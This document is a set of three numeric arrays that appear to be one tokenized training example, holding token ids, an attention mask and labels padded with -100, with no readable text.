[ 1, 4081, 716, 326, 729, 353, 486, 324, 10041, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 486, 38, 10041, 1435, 288, 203, 3639, 2583, 12, 5, 21515, 682, 63, 3576, 18, 15330, 6487, 315, 19940, 854, 324, 10041, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]